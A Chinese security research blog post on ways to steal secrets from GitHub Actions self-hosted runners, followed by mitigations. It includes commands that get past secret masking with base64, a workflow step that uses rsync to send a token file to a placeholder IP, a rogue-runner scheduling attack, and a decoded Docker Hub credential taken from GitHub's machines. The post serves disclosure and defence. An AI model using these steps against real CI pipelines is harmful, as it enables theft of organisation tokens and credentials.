Nova Kwok's Awesome Blog

关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究

Prologue

在上一篇文章「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们可以看到,由于需要动态注册 GitHub Runner,我们需要使用到自己的 Personal Access Token,而这个的使用方式是通过环境变量的方式注入到容器中的,部分 deployment 的内容如下:

containers:
  - name: github-runner-some-github-org
    imagePullPolicy: Always
    image: 'n0vad3v/github-runner'
    env:
      - name: GITHUB_PAT
        value: "ghp_bhxxxxxxxxxxxxx7xxxxxxxdONDT"
      - name: GITHUB_ORG_NAME
        value: "some-github-org"
      - name: RUNNER_LABELS
        value: "docker,internal-k8s"

这样的话在容器中我们可以通过 env 的方式拿到 Personal Access Token,对于外界攻击者来说,只要在 Workflow 中加入一句 env,就可以看到:

好的, GitHub 还是稍微保护了一下我们的傻缺行为,但是攻击者肯定不傻,既然(显然易证) GitHub 是通过匹配字符串的方式来 mask 的,那只要改变一下,改为: env | grep ghp | base64 就可以绕开 GitHub 的限制直接偷到 Token 了

(此处没有截图)

而且由于需要注册 GitHub Runner 的 Personal Access Token 需要 admin:org 的权限,一旦被偷到 PAT 的话,那么攻击者就有了 Full control of orgs and teams, read and write org projects,是不是相当刺激!

根据观察,以下 Self Hosted GitHub Runner 的启动方式都有这样的问题:

  1. https://github.com/myoung34/docker-github-actions-runner
  2. https://github.com/SanderKnape/github-runner
  3. https://github.com/evryfs/github-actions-runner-operator

在我们开始想怎么解决这个问题前,我们先从 GitHub 上把他们 Docker Hub 的帐号给偷出来。

Steal from GitHub Actions

Again,在上文「在 Kubernetes 上运行 GitHub Actions Self-hosted Runner」中,我们知道 Docker Hub 对于未登录用户 pull 的次数有限制,但是 GitHub Actions 的机器不会受到限制,所以肯定是 GitHub Actions 的机器有一些处理,写一个 Workflow cat ~/.docker/config.json 就可以看到 GitHub Actions 的机器上已经登录了 Docker Hub

{
        "auths": {
                "https://index.docker.io/v1/": {
                        "auth": "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I="
                }
        }
}
echo "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I=" | base64 -d
githubactions:3d6472b9-3d49-4d17-9fc9-90d24258043b

所以直接偷出来用就好了(

Possible way to mitigate Self-hosted Runner vulnerability

好了,现在偷到了 Docker Hub 帐号,我们来看看上面 Runner 的问题如何解决。

Actions 中我们知道,要注册一个 GitHub Runner,需要提供 Token/Org name/Label 等参数,其中 Registration Token 只会在注册的时候使用一次,Remove Token 只会在注销的时候使用一次,且这两个 Token 在生成出来之后使用期限是 1hr(The token expires after one hour.),并且 Endpoint 是 https://api.github.com/orgs/ORG/actions/runners/registration-token,由于这里的 Token 只能用于注册/注销 Runner, 权限特别低,所以我们可以想到利用一个安全托管的外部服务来动态提供 Token,由于是 Web 服务,最简单的就是直接用 ExpressJS 糊一个,关键代码如下:

const org_pat_map = {
	"some-github-org-a": "ghp_bFLPOxxxxxxxxxxxxxxxxxxxxxxx",
	"some-github-org-b": "ghp_JGIGxxxxxxxxxxxxxxxxZcj4KOij4"
}

app.get('/:github_org_name/registration-token', (req, res) => {
    const registration_token_url= `https://api.github.com/orgs/${req.params.github_org_name}/actions/runners/registration-token`
    const github_pat = org_pat_map[`${req.params.github_org_name}`]
    const headers = {
        'Authorization': `token ${github_pat}`
    }
    axios.post(registration_token_url,{},{headers: headers})
    .then((github_res) => {
        res.send(github_res['data']['token'])
    })
})

这样,我们就获得了一个安全可靠的接口,用于获得 Runner 注册使用的 Token 了,用法类似:

export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"

这样我们就解决了 PAT 泄漏的问题,但是这里还有个攻击面,请继续往下~

Steal GitHub Secrets

有了 GitHub Actions,我们就会有一些自己的小秘密需要在任务中使用,比如,我们不希望别人知道 Honda 的 V-Tec 真的 is the best!,我们会定义这么个变量。

在传统的方法下,无论是 echo ${{ secrets.SUPRA_SECRET }} 还是 echo ${{ secrets.SUPRA_SECRET }} | base64,都会被聪明的 GitHub 发现并且 Mask 掉。

但是我们可以在机器上发现

[centos@centos76_vm self-hosted-runner]$ pwd
/home/runner/actions-runner/_work/self-hosted-runner/self-hosted-runner

[centos@centos76_vm self-hosted-runner]$ cat token.txt 
Vi1URUMgaXMgdGhlIEJlc3QhCg==

试试看:

➜  ~ echo "Vi1URUMgaXMgdGhlIEJlc3QhCg==" | base64 -d
V-TEC is the Best!

这让 MAZDA 这种大排量自吸车主怎么看!

由于本地已经存放了一个文件,只要在下方加入一个 Step,大概这么写:

- name: rsync deployments
      uses: burnett01/[email protected]
      with:
        switches: -avzr 
        path: token.txt
        remote_path: /root/trap/
        remote_host: "111.111.111.111"
        remote_user: root
        remote_key: "ssh-rsa AAAAB3NzaC1y..."

一个 PR + 一个 VPS,就可以在自己的机器上拿到 Credentials 了。

回顾一下,这里有两个攻击面:

  1. 如果一个外界的人 Fork 了仓库并且写了一个恶意的 Workflow,只要这个 Workflow 能运行,那么肯定可以偷到 Credential,但是很多 Org 的管理员不傻,为了限制外界人员运行 Workflow,在 Approving workflow runs from public forks 中可以进行一些限制
  2. 虽然在 1 上进行了限制,一个外部的人没法运行 Workflow,但是由于 Runner 的环境变量中依然包含 Token,由于 Token 的有效期是 1hr,所以在一个节点刚刚上线的 1hr 内如果拿到了 Token(由于存放在环境变量中,某些 CI 可能 env 的时候刚好就暴露出来了 Runner Token,而且这个 Token 是不会被 Mask 掉的),那么攻击者可以快速在自己的环境下注册大量的相同 Label 的 Runner ,然后包含使用 Secret 的任务就有概率根据 Label 调度到攻击者的机器上

Once its on our machine

这里假设 2 已经成功,我们已经成功将任务调度到了我们的机器上,通过 https://github.com/brendangregg/perf-tools 监听事件我们可以发现,刚刚 Workflow 上的 echo ${{ secrets.SUPRA_SECRET }} | base64 事件在调度到机器上的时候,相关执行情况如下:

   831    720 /usr/bin/bash -e /home/centos/actions-runner/_work/_temp/45fa598d-59b8-4262-8a64-6fda1694c2b2.sh
   833    831 base64
   834    831 cat token.txt
   835    705 /home/centos/actions-runner/externals/node12/bin/node /home/centos/actions-runner/_work/_actions/actions/checkout/v2/dist/index.js
   854    835 /usr/bin/git version

但是在任务完成了之后对应的 _temp 会被清理掉,所以我们需要一个方式来保留下来这个文件,比如

while true; do rsync /home/centos/actions-runner/_work/_temp/*.sh ./; done

然后打开 snoopexec:

./execsnoop >> log.txt

在任务完成之后停止 execsnoop 并清理一下 Log 中的 rsync 日志:

sed -i "/rsync/d" log.txt

我们来看看我们找到了什么:

[root@centos7 tmp-sh]# cat 420886e8-f604-4187-b3d2-b6455e45467a.sh 
echo V-TEC is the Best! | base64 >> token.txt
cat token.txt

Solution

说起来蛮好笑的, 其实上面这个问题非常好解决,只要把:

export RUNNER_TOKEN=$(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token)
./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token ${RUNNER_TOKEN} --labels "${RUNNER_LABELS}"

换成以下就好了,根本就不应该在环境变量中放 RUNNER TOKEN。

./config.sh --unattended --url https://github.com/${GITHUB_ORG_NAME} --token $(curl https://some-secure-service/${GITHUB_ORG_NAME}/registration-token) --labels "${RUNNER_LABELS}"

Summary

TL,DR

  1. 现在我们能搜到的大部分 Self-hosted Runner 都是通过环境变量中注入 PAT(Personal Access Token) 的方式运行的,这种情况下如果允许了外部 Fork 运行的话,一定可以被偷到 Access Token,然后你的整个 Org 都完了
  2. 对于 Self-hosted Runner,Runner 的 Token 都不能暴露出去,不然有概率被偷到 Secret,如果你的 Secret 包含 SSH_HOST,SSH_KEY 的话,基本也就完了
  3. 如果你用了外面的 Self-hosted Runner 或者类似的东西的话,在他们解决类似问题前,请只在 Private repo 下使用

Reference

  1. 同步 docker hub library 镜像到本地 registry
  2. Actions
  3. Encrypted secrets

#Chinese #CI #GitHub Actions